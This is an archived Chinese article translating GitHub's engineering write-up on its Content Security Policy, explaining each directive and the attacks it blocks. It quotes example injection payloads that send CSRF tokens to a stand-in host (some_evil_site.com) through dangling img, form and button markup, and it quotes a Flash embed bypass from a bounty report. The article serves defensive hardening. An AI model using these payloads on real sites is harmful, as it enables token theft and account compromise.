
        <html>
			<head>
			     <title>GitHub CSP应用的经验分享 - 小饼仔</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/15120">http://drops.wooyun.org/papers/15120</a></h1>
				
      <p>
        <h1>0x 00 Abstract</h1>

<hr />

<p>最近看了一篇文章 <a href="http://githubengineering.com/githubs-csp-journey/">GitHub's CSP journey</a>，作者是GitHub工程师 <a href="https://github.com/ptoomey3">Patrick Toomey</a> ，文中分享了GitHub在 应用CSP (Content Security Policy) 上一些经历和踩过的坑，并给出了一些实际的案例来说明策略设置的原因，很具有参考意义。</p>

<p>这里花了点时间翻译下文章的要点，并且加上一部分自己的简单理解，给大家提供参考。因为时间和水平有限，有理解或翻译错误，欢迎大家指出～</p>

<h1>0x 01 Content Injection</h1>

<hr />

<p>文中首先介绍了 <code>Content Injection</code> 的概念，主要包括两个方面：</p>

<!--more-->

<ul>
<li>Cross Site Scripting (XSS): 这大家应该都懂</li>
<li>Scriptless attacks：无脚本攻击，即攻击者不通过执行Javascript代码，而通过插入HTML标签 (HTML markup injection) 的方式来完成攻击，如窃取敏感信息等。具体可以参考 <a href="http://lcamtuf.coredump.cx/postxss/">Postcards from the post-XSS world</a> 和 <a href="https://www.nds.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf">Scriptless Attacks – Stealing the Pie Without Touching the Sill</a> 这两篇文章</li>
</ul>

<p>因此仅防止XSS无法解决所有 <code>Content Injection</code> 问题。</p>

<p>在防止 <code>Content Injection</code> 上，GitHub使用了自动转义模板（auto-escaping templates）、code review和静态分析（ static analysis）的方法 。但之前的漏洞证明，内容注入问题是无法彻底避免的。虽然我们无法通过单一方法来解决，我们可以结合多种防护措施来增加攻击者利用漏洞的难度，比如 <a href="https://en.wikipedia.org/wiki/Content_Security_Policy">Content Security Policy</a> (CSP)，它是单独使用中最有效的缓解措施。</p>

<h1>0x 02 Content Security Policy</h1>

<hr />

<p>Content Security Policy能够用来限制页面的 web 资源的加载和执行，如JavaScript、CSS、form表单提交等。GitHub三年前的CSP 策略如下：</p>

<pre><code>CONTENT-SECURITY-POLICY:
  default-src *;
  script-src 'self' assets-cdn.github.com jobs.github.com ssl.google-analytics.com secure.gaug.es;
  style-src 'self' assets-cdn.github.com 'unsafe-inline';
  object-src 'self' assets-cdn.github.com;
</code></pre>

<p>初始的策略为了保证向后兼容性，主要通过限制资源加载的domain来完成，但是对于注入HTML标签来窃取敏感信息（后面会举例说明）不起作用。</p>

<p>后来，GitHub对第三方依赖脚本进行了重构和整理，增加了许多新的CSP策略，具体如下：</p>

<pre><code>CONTENT-SECURITY-POLICY:
  default-src 'none';
  base-uri 'self';
  block-all-mixed-content;
  child-src render.githubusercontent.com;
  connect-src 'self' uploads.github.com status.github.com api.github.com www.google-analytics.com wss://live.github.com;
  font-src assets-cdn.github.com;
  form-action 'self' github.com gist.github.com;
  frame-ancestors 'none';
  frame-src render.githubusercontent.com;
  img-src 'self' data: assets-cdn.github.com identicons.github.com www.google-analytics.com collector.githubapp.com *.gravatar.com *.wp.com *.githubusercontent.com;
  media-src 'none';
  object-src assets-cdn.github.com;
  plugin-types application/x-shockwave-flash;
  script-src assets-cdn.github.com;
  style-src 'unsafe-inline' assets-cdn.github.com
</code></pre>

<p>注：上面的策略中，有少部分和防止 <code>content injection</code> 没有直接的联系。</p>

<p>下一章我们将会讨论上述CSP策略的具体细节、策略是如何阻止特定的攻击场景，并通过一些案例（<a href="https://bounty.github.com/">bounty submissions</a> ）来帮助我们理解策略的用途。</p>

<h1>0x 03 CSP details</h1>

<hr />

<h2>script-src</h2>

<p>和最初的策略相比，当前的策略只允许从CDN来获取JavaScript。</p>

<p>前：</p>

<pre><code>script-src 'self' assets-cdn.github.com jobs.github.com ssl.google-analytics.com secure.gaug.es;
</code></pre>

<p>后：</p>

<pre><code>script-src assets-cdn.github.com;
</code></pre>

<p>因此只要保证CDN上的资源是可靠即可阻止外部恶意脚本的加载和执行。</p>

<p>此外，GitHub还采用了 <a href="http://githubengineering.com/subresource-integrity/">subresource integrity</a> 来减少加载恶意外部 JavaScript 的风险，Subresource Integrity 通过在标签中添加 <code>integrity</code> 属性，其值为资源对应的hash，比如：</p>

<pre><code>&lt;script src="/assets/application.js" integrity="sha256-TvVUHzSfftWg1rcfL6TIJ0XKEGrgLyEq6lEpcmrG9qs="&gt;&lt;/script&gt;
</code></pre>

<p>浏览器在加载 <code>application.js</code> 时，会验证其文件的 sha256 hash值是否和 <code>integrity</code> 的值相同，不相同则拒绝加载。这个可以防止 CDN 被撸后加载恶意 js 文件的场景，虽然 CDN 基本不太可能被撸～</p>

<p>这里需要特别注意的是，修改后的 <code>script-src</code> 值是没有包含 <code>self</code> 的，虽然一般来说从 <code>self</code> 加载JavaScript相对来说是安全的（被使用的也比较多），但还是应该尽可能避免。</p>

<p>比如下面这几种特殊的情况，开发者应该考虑阻止从 <code>self</code> 加载和允许js脚本。</p>

<ul>
<li><a href="https://github.com/rails/rails/pull/9075">JSONP 接口没有过滤回调函数名</a>，导致恶意js代码执行</li>
<li>在 content 为用户可控的情况下，某些 <code>content-type</code> 会<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1420">被浏览器解析成为JavaScript</a>。Github有多个这样的接口，比如 在查看 <a href="https://github.com/github/fetch/commit/7eee89d15ee21e762a04b4c773fcc3d7d50a13f7.diff">commit diffs</a> 时，页面内容是用户可以控制的，<code>content-type</code> 为 <code>text/plain</code> 。</li>
</ul>

<p>通过将 <code>self</code> 从策略中移除，即使是出现了上面两种情况，js代码也无法执行。</p>

<p>我们也可以通过增加响应头 <code>X-Content-Type-Options: nosniff</code> 来阻止浏览器对内容的嗅探解析（sniffed）行为。与之相比，CSP能够提供强有力的保证，即使存在一个攻击者能够控制 <code>content-type</code> bug，也无需担心js代码会被执行。</p>

<h2>object-src</h2>

<p>在旧的的CSP策略中，对于 object 和 embed 标签是允许 <code>self</code> 的。</p>

<pre><code>object-src 'self' assets-cdn.github.com;
</code></pre>

<p>是因为GitHub依赖自己网站上的 <a href="https://github.com/zeroclipboard/zeroclipboard">ZeroClipboard</a> 库。 将依赖资源移动到CDN后，<code>self</code> 就不再需要了，但因为某些原因（懒得改 or 觉得不会有安全问题？），在后来的策略中并没有被移除，直到一名 bounty hunter 发现了<a href="https://bounty.github.com/researchers/adob.html#persistent-cross-site-scripting--with-csp-bypass--20140210">一种利用方式</a>。攻击者利用了一个 content injection bug 和 一个Chrome浏览器的bug 来 bypass CSP，并且成功执行js代码。攻击过程如下：</p>

<p>首先，攻击者用以下内容创建一个 Wiki 项：</p>

<pre><code>&lt;div class="selected"&gt;
&lt;a href="https://some_evil_site.com/xss/github/embed.php" class="choose_plan js-domain"&gt;domain&lt;/div&gt;
&lt;/div&gt;
</code></pre>

<p>GitHub拥有一个特性，能够在多个地方（Issues, Pull Requests, Comments）渲染用户提供的HTML（通常是通过Markdown）。但用户提供的HTML会经过过滤处理，防止注入任意的HTML。</p>

<p>这里存在一种特殊情况，当HTML 标签的class 属性被设置为 <code>choose_plan</code> 和 <code>js-domain</code> 时，会触发 JavaScript 一些自动的操作，即自动请求标签的 <code>href</code> ，并将 response 插入到 DOM中。</p>

<p>而这里用户是可以自定义HTML 标签中的class属性值的。但因为 response 中的HTML仍然会受到 CSP 的制约，无法执行任意的 JS 代码。但此时，攻击者已经可以插入任意的HTML到DOM中了。</p>

<p>这里我的理解是因为 <code>some_evil_site.com</code> 不在 <code>'self' assets-cdn.github.com</code> 里，所以 <code>自动请求标签href资源</code> 的行为会被浏览器blocked。这里需要<code>href</code> 对应的domain为self 或 CDN，才能成功加载资源并且把响应插入到DOM中。</p>

<p>这里bounty hunter给出的 POC也符合我的推测，domain使用的是<code>self</code>，即github.com：</p>

<pre><code>&lt;embed src="https://github.com/test-user/test-repo/raw/master/script.png" allowscriptaccess=always type="application/x-shockwave-flash"&gt;
</code></pre>

<p>前面在 <strong>script-src</strong> 提到，用户可控的内容(user-controlled content) + 浏览器对内容的嗅探解析(content sniffing) 可能会导致非预期的行为，因此加载 GitHub.com domain上用户可控的内容会增加脚本执行的几率，所以 GitHub在加载用户可控资源时，采取了跳转到另一个域名的方式来完成，比如请求 <code>https://github.com/test-user/test-repo/raw/master/script.png</code> 会跳转到 <code>https://raw.githubusercontent.com/test-user/test-repo/master/script.png</code> ，但 <code>raw.githubusercontent.com</code> 不在 <code>object-src</code> 允许的列表里，那么上面的POC是如何让 Flash成功加载并执行的呢？</p>

<p>GitHub 经过研究，发现是因为 <a href="https://bugs.webkit.org/show_bug.cgi?id=97030">WebKit 的一个 bug </a> 所导致。正常的逻辑是，浏览器会验证所有的请求（包括redirects的）是否为CSP所允许。然而，有一些浏览器只会检查第一个请求的 domain 是否在 source list中，而不检查后续的 redirects 。</p>

<p>因为第一个请求的 domain 是self，embed 就能通过验证。浏览器的 Bug 加上 注入的 HTML（需要注意的是 allowscriptaccess=always 属性）导致了CSP bypass。</p>

<p>allowscriptaccess属性的解释如下：</p>

<pre><code>The AllowScriptAccess parameter in the HTML code that loads a SWF file controls the ability to perform outbound URL access from within the SWF file
When AllowScriptAccess is "always," the SWF file can communicate with the HTML page in which it is embedded. This rule applies even when the SWF file is from a different domain than the HTML page.
</code></pre>

<p>这里还需要注意的一点是，当 script.png 资源被加载时，返回的 <code>content-type</code> 是 <code>image/png</code> 。但不幸的是， 只要Flash觉得响应像是一个Flash文件，就会尽可能的去尝试执行！</p>

<h2>img-src</h2>

<p>与其它策略不同， <code>img-src</code> 通常被关注的比较少。通过限制image的source，能够防止敏感信息泄露。比如当攻击者能够注入如下的img标签：</p>

<pre><code>&lt;img src='http://some_evil_site.com/log_csrf?html=
</code></pre>

<p>可以看到标签是未闭合的，这会导致在遇到下一个匹配的单引号之前的所有内容都会被当作是参数html的值，如果中间的内容包括一些敏感信息，如CSRF token：</p>

<pre><code>&lt;form action="https://github.com/account/public_keys/19023812091023"&gt;
...
&lt;input type="hidden" name="csrf_token" value="some_csrf_token_value"&gt;
&lt;/form&gt;
</code></pre>

<p>当img被加载时，则会导致这些内容被当作参数发送到 <code>http://some_evilsite.com/</code> 。</p>

<p>这样的标签被称为 <code>dangling markup</code> ，除了 img 标签之外，还有一些标签页能够窃取敏感信息。通过限制CSP 的 img-src，就能够缓解这样的情况。</p>

<h2>connect-src</h2>

<p>前面提到过，在标签的class为某些特殊值时，JavaScript会自动加载标签对应的URl资源，并修改DOM。通过限制 <code>connect-src</code>（限制XMLHttpRequest, WebSocket, and EventSource 的连接） 到特定的 domain list，能够减少可能的攻击面（ attack surface）。比如向 <code>api.braintreegateway.com</code> 的连接只在支付相关的页面被允许。</p>

<p>当然，如果为每一个页面都手动添加 <code>connect-src</code> ，维护起来非常困难，GitHub使用了 <a href="https://github.com/twitter/secureheaders">Secure Headers library</a> 来实现动态 CSP 策略调整，感兴趣的可以看看。</p>

<h2>form-action</h2>

<p>通过限制form表单可以提交的 action，可以降低 <code>form</code> 标签注入所带来的风险。与之前讨论的 "dangling markup" 标签 image 不同的是，form更加的微妙。比如攻击者能够注入如下的代码：</p>

<pre><code>&lt;form action="https://some_evil_site.com/log_csrf_tokens"&gt;
</code></pre>

<p>注入标签后的内容是一个form表单，如下：</p>

<pre><code>&lt;form action="https://github.com/account/public_keys/19023812091023"&gt;
...
&lt;input type="hidden" name="csrf_token" value="afaffwerouafafaffasdsd"&gt;
&lt;/form&gt;
</code></pre>

<p>因为注入的form标签没有闭合，浏览会向下寻找<code>&lt;/form&gt;</code>，然后把之间的所有内容都作为表单的field，当用户点击提交时，一些敏感数据，比如csrf token就会发送到 <code>https://some_evil_site.com/log_csrf_tokens</code>，导致信息泄露。</p>

<p>类似的通过 <code>button</code> 也可以完成：</p>

<pre><code>&lt;button type="submit" form="version-form" formaction="https://some_evil_site.com/log_csrf_tokens"&gt;Click Me&lt;/button&gt;
</code></pre>

<p>通过限制 <code>form-action</code> 到特定的 domain list，可以减低所有通过 form 表单提交的方法来窃取敏感信息的可能性。</p>

<p>但是GitHub测试后发现，当用户在使用 Github OAuth 来登录第三方应用时，因为限制了 <code>form-action</code> ，会导致登陆失败。</p>

<p>来看一下OAuth登录的过程，用户访问类似如下链接 <code>https://github.com/login/oauth/authorize?client_id=b6a3dd26bac171548204</code> ，如果用户之前已经授权过该应用，就会跳转到应用程序的网站，如果没有则会弹框让用户先允许授权。授权的过程会向 GitHub.com 提交一个 <code>POST</code> 请求，然后302跳转到应用的网站。在这个过程中，form表单时提交到 GitHub.com的，但是响应是跳转到第三方网站，因为第三方网站的domain不在 <code>form-action</code> 的列表里，跳转会blocked。</p>

<p>那么是否要移除 <code>form-action</code> 的限制呢？GitHub想到使用 "meta refresh" 跳转，类似这样：</p>

<pre><code>&lt;head&gt;      
    &lt;title&gt;The Tudors&lt;/title&gt;      
    &lt;meta http-equiv="refresh" content="0;URL='http://thetudors.example.com/'" /&gt;    
&lt;/head&gt;  
</code></pre>

<p><a href="https://www.w3.org/TR/WCAG20-TECHS/H76.html">meta refresh</a> 是用来在客户端进行跳转的一种技术（用js跳转也可以）。通过避免302跳转，CSP只会检查表单提交的请求进行，而不会检查之后的跳转，从而解决了这个问题。</p>

<p>GitHub在文中还提到，他们最终会为 <code>form-action</code> 添加 dynamic source 支持。</p>

<h2>child-src/frame-src</h2>

<p>Inline frames (iframes) 是很强的安全边界。每个 frame 都受到同源策略的限制，就如同在单独的window 或 tab 打开一样。但是有一些情况下，比如攻击者能够在 GitHub.com 上注入一个frame，frame能够加载任意网站的内容，如果这个网址需要返回一个401的响应码（HTTP Authentication），而此时浏览器不会处理内嵌的contexts，就会弹框要求用户输入帐号密码。对于大多数有安全意识的人都知道GitHub.com不会使用 basic authentication 或 JavaScript <code>prompt</code> dialogs，但总有些人不知道，就傻乎乎的输入帐号密码了。</p>

<p>Firefox 浏览器支持一些frame的sandbox指令来防止这样的情况，如 <code>allow-modals</code> ，但是只对某些特定的 sandboxed frames 有效。在CSP中也没有相似的指令来限制某个frame是否能够弹框。目前唯一的缓解措施就是限制能够被framed的 domain。</p>

<p>目前GitHub的策略是只允许自己的渲染域（render domain），比如用来渲染 <a href="https://help.github.com/articles/3d-file-viewer/">STL files</a>, <a href="https://help.github.com/articles/rendering-and-diffing-images/">image diffs</a>, 和 <a href="https://help.github.com/articles/rendering-pdf-documents/">PDFs</a>。不久前，GitHub在使用 <a href="https://help.github.com/articles/creating-pages-with-the-automatic-generator/">automatic generator</a> 来生成预览页面的地方加入了 <code>self</code>。这里GitHub也提到，在将来，会使用之前提到的动态策略（dynamic policy）来取代。</p>

<h2>frame-ancestors</h2>

<p>这个指令是用来取代 <code>X-FRAME-OPTIONS</code> header的，可以缓解点击劫持（clickjacking ）和其它。目前该指令没有得到浏览器广泛的支持，GitHub 在所有的响应中同时设置了 <code>frame-ancestors</code> 指令和 <code>X-FRAME-OPTIONS</code> header。目前默认的策略是阻止所有 framing GitHub内容的行为 。和 <code>frame-src</code> 类似，这里是用了动态策略，在<a href="https://help.github.com/articles/creating-pages-with-the-automatic-generator/">预览生成的GitHub页面</a>的地方添加了<code>self</code> 。同时我们也允许通过 iframes 来 framing 分享 <a href="https://gist.github.com/">Gists</a> 的页面。</p>

<h2>base-uri</h2>

<p>比较少见，如果攻击者能够注入 <code>base</code> 标签到页面的head中，就可以改变所有relative URLs 。通过将其限制为 <code>self</code>， 我们可以保证攻击者不能够修改所有的relative URLs 和 将带有CSRF tokens的form提交到恶意的站点。</p>

<h2>plugin-types</h2>

<p>许多浏览器插件都或多或少都存在一些安全问题，将插件限制到GitHub真正用到的列表，能够减少注入<code>object</code> 或 <code>embed</code> 标签后的潜在影响。<code>plugin-types</code> 指令与 <code>object-src</code> 的作用之间有一定的关联性。正如之前所提到的，一旦 <a href="https://www.w3.org/TR/clipboard-apis/">clipboard API</a> 得到更广泛的支持，GitHub就会block <code>object</code> 和 <code>embed</code> 标签，把 <code>object-src</code> 的source设置成 <code>none</code> ， 并将<code>application/x-shockwave-flash</code> 从 <code>plugin-types</code> 移除。</p>

<h1>0x 04 Summay</h1>

<hr />

<p>GitHub分享了自己在应用CSP的经验和案例说明，个人觉得对于很多网站再应用CSP的时候有很好的参考和学习价值。</p>

<p>PS. 因翻译的比较急，有些地方我也没有弄的很明白，大家有疑问可以留言一起讨论～</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                